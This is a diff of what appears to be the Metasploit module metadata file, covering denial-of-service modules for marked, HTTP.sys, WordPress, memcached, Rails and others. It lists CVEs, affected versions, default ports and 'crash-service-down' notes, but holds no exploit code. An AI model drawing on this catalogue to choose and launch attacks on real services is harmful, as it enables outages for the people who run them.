"default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -14605,9 +14539,7 @@ "auxiliary_dos/http/marked_redos": { "name": "marked npm module \"heading\" ReDoS", "fullname": "auxiliary/dos/http/marked_redos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -14615,7 +14547,7 @@ "Adam Cazzolla, Sonatype Security Research", "Nick Starke, Sonatype Security Research" ], - "description": "This module exploits a Regular Expression Denial of Service vulnerability\n in the npm module \"marked\". The vulnerable portion of code that this module\n targets is in the \"heading\" regular expression. Web applications that use\n \"marked\" for generating html from markdown are vulnerable. Versions up to\n 0.4.0 are vulnerable.", + "description": "This module exploits a Regular Expression Denial of Service vulnerability\n in the npm module \"marked\". The vulnerable portion of code that this module\n targets is in the \"heading\" regular expression. Web applications that use\n \"marked\" for generating html from markdown are vulnerable. Versions up to\n 0.4.0 are vulnerable.", "references": [ "URL-https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not", "CWE-400" @@ -14639,7 +14571,7 @@ "https" ], "targets": null, - "mod_time": "2018-08-16 14:59:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/marked_redos.rb", "is_install_path": true, "ref_name": "dos/http/marked_redos", @@ -14647,19 +14579,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/metasploit_httphandler_dos": { "name": "Metasploit HTTP(S) handler DoS", "fullname": "auxiliary/dos/http/metasploit_httphandler_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-09-04", "type": "auxiliary", @@ -14667,7 +14600,7 @@ "Jose Garduno, Dreamlab Technologies AG", "Angelo Seiler, Dreamlab Technologies AG" ], - "description": "This module exploits the Metasploit HTTP(S) handler by sending\n a specially crafted HTTP request that gets added as a resource handler.\n Resources (which come from the external connections) are evaluated as RegEx\n in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS.\n\n Tested against Metasploit 5.0.20.", + "description": "This module exploits the Metasploit HTTP(S) handler by sending\n a specially crafted HTTP request that gets added as a resource handler.\n Resources (which come from the external connections) are evaluated as RegEx\n in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS.\n\n Tested against Metasploit 5.0.20.", "references": [ "CVE-2019-5645" ], @@ -14690,7 +14623,7 @@ "https" ], "targets": null, - "mod_time": "2019-12-26 13:31:38 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb", "is_install_path": true, "ref_name": "dos/http/metasploit_httphandler_dos", @@ -14698,26 +14631,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/monkey_headers": { "name": "Monkey HTTPD Header Parsing Denial of Service (DoS)", "fullname": "auxiliary/dos/http/monkey_headers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-30", "type": "auxiliary", "author": [ "Doug Prostko " ], - "description": "This module causes improper header parsing that leads to a segmentation fault\n due to a specially crafted HTTP request. Affects version <= 1.2.0.", + "description": "This module causes improper header parsing that leads to a segmentation fault\n due to a specially crafted HTTP request. Affects version <= 1.2.0.", "references": [ "CVE-2013-3843", "OSVDB-93853", @@ -14726,14 +14660,10 @@ "platform": "", "arch": "", "rport": 2001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/monkey_headers.rb", "is_install_path": true, "ref_name": "dos/http/monkey_headers", @@ -14741,19 +14671,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ms15_034_ulonglongadd": { "name": "MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service", "fullname": "auxiliary/dos/http/ms15_034_ulonglongadd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -14761,7 +14692,7 @@ "Bill Finlayson", "sinn3r " ], - "description": "This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a\n vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code\n execution. This module will try to cause a denial-of-service.", + "description": "This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a\n vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code\n execution. This module will try to cause a denial-of-service.", "references": [ "CVE-2015-1635", "MSB-MS15-034", @@ -14789,7 +14720,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb", "is_install_path": true, "ref_name": "dos/http/ms15_034_ulonglongadd", @@ -14797,19 +14728,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/nodejs_pipelining": { "name": "Node.js HTTP Pipelining Denial of Service", "fullname": "auxiliary/dos/http/nodejs_pipelining", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-18", "type": "auxiliary", @@ -14818,7 +14750,7 @@ "titanous", "joev " ], - "description": "This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions\n released before 0.10.21 and 0.8.26. The attack sends many pipelined\n HTTP requests on a single connection, which causes unbounded memory\n allocation when the client does not read the responses.", + "description": "This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions\n released before 0.10.21 and 0.8.26. The attack sends many pipelined\n HTTP requests on a single connection, which causes unbounded memory\n allocation when the client does not read the responses.", "references": [ "CVE-2013-4450", "OSVDB-98724", @@ -14828,14 +14760,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/nodejs_pipelining.rb", "is_install_path": true, "ref_name": "dos/http/nodejs_pipelining", @@ -14843,26 +14771,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/novell_file_reporter_heap_bof": { "name": "NFR Agent Heap Overflow Vulnerability", "fullname": "auxiliary/dos/http/novell_file_reporter_heap_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-16", "type": "auxiliary", "author": [ "juan vazquez " ], - "description": "This module exploits a heap overflow in NFRAgent.exe, a component of Novell\n File Reporter (NFR). The vulnerability occurs when handling requests of name \"SRS\",\n where NFRAgent.exe fails to generate a response in a secure way, copying user\n controlled data into a fixed-length buffer in the heap without bounds checking.\n This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).", + "description": "This module exploits a heap overflow in NFRAgent.exe, a component of Novell\n File Reporter (NFR). The vulnerability occurs when handling requests of name \"SRS\",\n where NFRAgent.exe fails to generate a response in a secure way, copying user\n controlled data into a fixed-length buffer in the heap without bounds checking.\n This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).", "references": [ "CVE-2012-4956", "URL-https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/" @@ -14886,7 +14815,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb", "is_install_path": true, "ref_name": "dos/http/novell_file_reporter_heap_bof", @@ -14894,19 +14823,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/rails_action_view": { "name": "Ruby on Rails Action View MIME Memory Exhaustion", "fullname": "auxiliary/dos/http/rails_action_view", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-04", "type": "auxiliary", @@ -14915,7 +14845,7 @@ "joev ", "sinn3r " ], - "description": "This module exploits a Denial of Service (DoS) condition in Action View that requires\n a controller action. By sending a specially crafted content-type header to a Rails\n application, it is possible for it to store the invalid MIME type, and may eventually\n consume all memory if enough invalid MIMEs are given.\n\n Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.", + "description": "This module exploits a Denial of Service (DoS) condition in Action View that requires\n a controller action. By sending a specially crafted content-type header to a Rails\n application, it is possible for it to store the invalid MIME type, and may eventually\n consume all memory if enough invalid MIMEs are given.\n\n Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.", "references": [ "CVE-2013-6414", "OSVDB-100525", @@ -14926,14 +14856,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/rails_action_view.rb", "is_install_path": true, "ref_name": "dos/http/rails_action_view", @@ -14941,19 +14867,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/rails_json_float_dos": { "name": "Ruby on Rails JSON Processor Floating Point Heap Overflow DoS", "fullname": "auxiliary/dos/http/rails_json_float_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-22", "type": "auxiliary", @@ -14962,7 +14889,7 @@ "joev ", "todb " ], - "description": "When Ruby attempts to convert a string representation of a large floating point\n decimal number to its floating point equivalent, a heap-based buffer overflow\n can be triggered. This module has been tested successfully on a Ruby on Rails application\n using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application\n crashes with a segfault error. Other versions of Ruby are reported to be affected.", + "description": "When Ruby attempts to convert a string representation of a large floating point\n decimal number to its floating point equivalent, a heap-based buffer overflow\n can be triggered. This module has been tested successfully on a Ruby on Rails application\n using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application\n crashes with a segfault error. Other versions of Ruby are reported to be affected.", "references": [ "CVE-2013-4164", "OSVDB-100113", @@ -14987,7 +14914,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/rails_json_float_dos.rb", "is_install_path": true, "ref_name": "dos/http/rails_json_float_dos", @@ -14995,19 +14922,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/slowloris": { "name": "Slowloris Denial of Service Attack", "fullname": "auxiliary/dos/http/slowloris", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-06-17", "type": "auxiliary", @@ -15027,12 +14955,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-29 00:51:56 +0000", "path": "/modules/auxiliary/dos/http/slowloris.py", @@ -15041,27 +14965,22 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/sonicwall_ssl_format": { "name": "SonicWALL SSL-VPN Format String Vulnerability", "fullname": "auxiliary/dos/http/sonicwall_ssl_format", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-05-29", "type": "auxiliary", "author": [ "aushack " ], - "description": "There is a format string vulnerability within the SonicWALL\n SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory\n can be read or written to, depending on the format string used.\n There appears to be a length limit of 127 characters of format\n string data. With physical access to the device and debugging,\n this module may be able to be used to execute arbitrary code remotely.", + "description": "There is a format string vulnerability within the SonicWALL\n SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory\n can be read or written to, depending on the format string used.\n There appears to be a length limit of 127 characters of format\n string data. With physical access to the device and debugging,\n this module may be able to be used to execute arbitrary code remotely.", "references": [ "BID-35145", "OSVDB-54881", @@ -15086,7 +15005,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/sonicwall_ssl_format.rb", "is_install_path": true, "ref_name": "dos/http/sonicwall_ssl_format", @@ -15094,19 +15013,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/squid_range_dos": { "name": "Squid Proxy Range Header DoS", "fullname": "auxiliary/dos/http/squid_range_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-05-27", "type": "auxiliary", @@ -15149,9 +15069,7 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -15168,9 +15086,7 @@ "auxiliary_dos/http/tautulli_shutdown_exec": { "name": "Tautulli v2.1.9 - Shutdown Denial of Service", "fullname": "auxiliary/dos/http/tautulli_shutdown_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15201,7 +15117,7 @@ "https" ], "targets": null, - "mod_time": "2021-08-27 17:15:33 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb", "is_install_path": true, "ref_name": "dos/http/tautulli_shutdown_exec", @@ -15209,19 +15125,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ua_parser_js_redos": { "name": "ua-parser-js npm module ReDoS", "fullname": "auxiliary/dos/http/ua_parser_js_redos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15254,7 +15171,7 @@ "https" ], "targets": null, - "mod_time": "2018-07-12 17:34:52 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/ua_parser_js_redos.rb", "is_install_path": true, "ref_name": "dos/http/ua_parser_js_redos", @@ -15262,19 +15179,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/webkitplus": { "name": "WebKitGTK+ WebKitFaviconDatabase DoS", "fullname": "auxiliary/dos/http/webkitplus", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-06-03", "type": "auxiliary", @@ -15294,14 +15212,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/webkitplus.rb", "is_install_path": true, "ref_name": "dos/http/webkitplus", @@ -15309,6 +15223,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -15322,16 +15241,14 @@ "auxiliary_dos/http/webrick_regex": { "name": "Ruby WEBrick::HTTP::DefaultFileHandler DoS", "fullname": "auxiliary/dos/http/webrick_regex", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-08-08", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "The WEBrick::HTTP::DefaultFileHandler in WEBrick in\n Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7\n to 1.8.7-p71, and 1.9 to r18423 allows for a DoS\n (CPU consumption) via a crafted HTTP request.", + "description": "The WEBrick::HTTP::DefaultFileHandler in WEBrick in\n Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7\n to 1.8.7-p71, and 1.9 to r18423 allows for a DoS\n (CPU consumption) via a crafted HTTP request.", "references": [ "BID-30644", "CVE-2008-3656", @@ -15357,7 +15274,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/webrick_regex.rb", "is_install_path": true, "ref_name": "dos/http/webrick_regex", @@ -15365,19 +15282,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/wordpress_directory_traversal_dos": { "name": "WordPress Traversal Directory DoS", "fullname": "auxiliary/dos/http/wordpress_directory_traversal_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15385,7 +15303,7 @@ "Yorick Koster", "CryptisStudents" ], - "description": "Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin\n function in wp-admin/includes/ajax-actions.php in WordPress before 4.6\n allows remote attackers to hijack the authentication of subscribers\n for /dev/random read operations by leveraging a late call to\n the check_ajax_referer function, a related issue to CVE-2016-6896.", + "description": "Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin\n function in wp-admin/includes/ajax-actions.php in WordPress before 4.6\n allows remote attackers to hijack the authentication of subscribers\n for /dev/random read operations by leveraging a late call to\n the check_ajax_referer function, a related issue to CVE-2016-6896.", "references": [ "CVE-2016-6897", "EDB-40288", @@ -15410,7 +15328,7 @@ "https" ], "targets": null, - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb", "is_install_path": true, "ref_name": "dos/http/wordpress_directory_traversal_dos", @@ -15418,19 +15336,20 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/wordpress_long_password_dos": { "name": "WordPress Long Password DoS", "fullname": "auxiliary/dos/http/wordpress_long_password_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-20", "type": "auxiliary", @@ -15439,7 +15358,7 @@ "Andres Rojas Guerrero", "rastating" ], - "description": "WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x\n before 4.0.1 allows remote attackers to cause a denial of service\n (CPU consumption) via a long password that is improperly handled\n during hashing.", + "description": "WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x\n before 4.0.1 allows remote attackers to cause a denial of service\n (CPU consumption) via a long password that is improperly handled\n during hashing.", "references": [ "CVE-2014-9016", "URL-https://nvd.nist.gov/vuln/detail/CVE-2014-9034", @@ -15465,7 +15384,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/wordpress_long_password_dos.rb", "is_install_path": true, "ref_name": "dos/http/wordpress_long_password_dos", @@ -15473,19 +15392,20 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/wordpress_xmlrpc_dos": { "name": "Wordpress XMLRPC DoS", "fullname": "auxiliary/dos/http/wordpress_xmlrpc_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-06", "type": "auxiliary", @@ -15493,7 +15413,7 @@ "Nir Goldshlager", "Christian Mehlmauer " ], - "description": "Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.\n This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are\n also patched).", + "description": "Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.\n This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are\n also patched).", "references": [ "CVE-2014-5266", "URL-https://wordpress.org/news/2014/08/wordpress-3-9-2/", @@ -15521,7 +15441,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb", "is_install_path": true, "ref_name": "dos/http/wordpress_xmlrpc_dos", @@ -15529,19 +15449,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ws_dos": { "name": "ws - Denial of Service", "fullname": "auxiliary/dos/http/ws_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15557,14 +15478,10 @@ "platform": "", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/ws_dos.rb", "is_install_path": true, "ref_name": "dos/http/ws_dos", @@ -15572,19 +15489,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/mdns/avahi_portzero": { "name": "Avahi Source Port 0 DoS", "fullname": "auxiliary/dos/mdns/avahi_portzero", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-11-14", "type": "auxiliary", @@ -15599,14 +15517,10 @@ "platform": "", "arch": "", "rport": 5353, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/mdns/avahi_portzero.rb", "is_install_path": true, "ref_name": "dos/mdns/avahi_portzero", @@ -15614,19 +15528,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/mirageos/qubes_mirage_firewall_dos": { "name": "Mirage firewall for QubesOS 0.8.0-0.8.3 Denial of Service (DoS) Exploit", "fullname": "auxiliary/dos/mirageos/qubes_mirage_firewall_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-12-04", "type": "auxiliary", @@ -15642,12 +15557,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-05 12:04:59 +0000", "path": "/modules/auxiliary/dos/mirageos/qubes_mirage_firewall_dos.rb", @@ -15660,32 +15571,26 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/misc/dopewars": { "name": "Dopewars Denial of Service", "fullname": "auxiliary/dos/misc/dopewars", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-05", "type": "auxiliary", "author": [ "Doug Prostko " ], - "description": "The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to\n a lack of input validation.", + "description": "The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to\n a lack of input validation.", "references": [ "CVE-2009-3591", "OSVDB-58884", @@ -15694,14 +15599,10 @@ "platform": "", "arch": "", "rport": 7902, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/misc/dopewars.rb", "is_install_path": true, "ref_name": "dos/misc/dopewars", @@ -15709,19 +15610,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/misc/ibm_sametime_webplayer_dos": { "name": "IBM Lotus Sametime WebPlayer DoS", "fullname": "auxiliary/dos/misc/ibm_sametime_webplayer_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-07", "type": "auxiliary", @@ -15729,7 +15631,7 @@ "Chris John Riley", "kicks4kittens" ], - "description": "This module exploits a known flaw in the IBM Lotus Sametime WebPlayer\n version 8.5.2.1392 (and prior) to cause a denial of service condition\n against specific users. For this module to function the target user\n must be actively logged into the IBM Lotus Sametime server and have\n the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a\n browser extension. The user should have the WebPlayer plug-in active\n (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.", + "description": "This module exploits a known flaw in the IBM Lotus Sametime WebPlayer\n version 8.5.2.1392 (and prior) to cause a denial of service condition\n against specific users. For this module to function the target user\n must be actively logged into the IBM Lotus Sametime server and have\n the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a\n browser extension. The user should have the WebPlayer plug-in active\n (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.", "references": [ "CVE-2013-3986", "OSVDB-99552", @@ -15740,14 +15642,10 @@ "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb", "is_install_path": true, "ref_name": "dos/misc/ibm_sametime_webplayer_dos", @@ -15755,6 +15653,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -15772,9 +15675,7 @@ "auxiliary_dos/misc/ibm_tsm_dos": { "name": "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service", "fullname": "auxiliary/dos/misc/ibm_tsm_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-15", "type": "auxiliary", @@ -15790,14 +15691,10 @@ "platform": "", "arch": "", "rport": 11460, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/misc/ibm_tsm_dos.rb", "is_install_path": true, "ref_name": "dos/misc/ibm_tsm_dos", @@ -15805,26 +15702,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/misc/memcached": { "name": "Memcached Remote Denial of Service", "fullname": "auxiliary/dos/misc/memcached", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Gregory Man " ], - "description": "This module sends a specially-crafted packet to cause a\n segmentation fault in memcached v1.4.15 or earlier versions.", + "description": "This module sends a specially-crafted packet to cause a\n segmentation fault in memcached v1.4.15 or earlier versions.", "references": [ "URL-https://code.google.com/archive/p/memcached/issues/192", "CVE-2011-4971", @@ -15833,14 +15731,10 @@ "platform": "", "arch": "", "rport": 11211, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/misc/memcached.rb", "is_install_path": true, "ref_name": "dos/misc/memcached", @@ -15848,26 +15742,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + 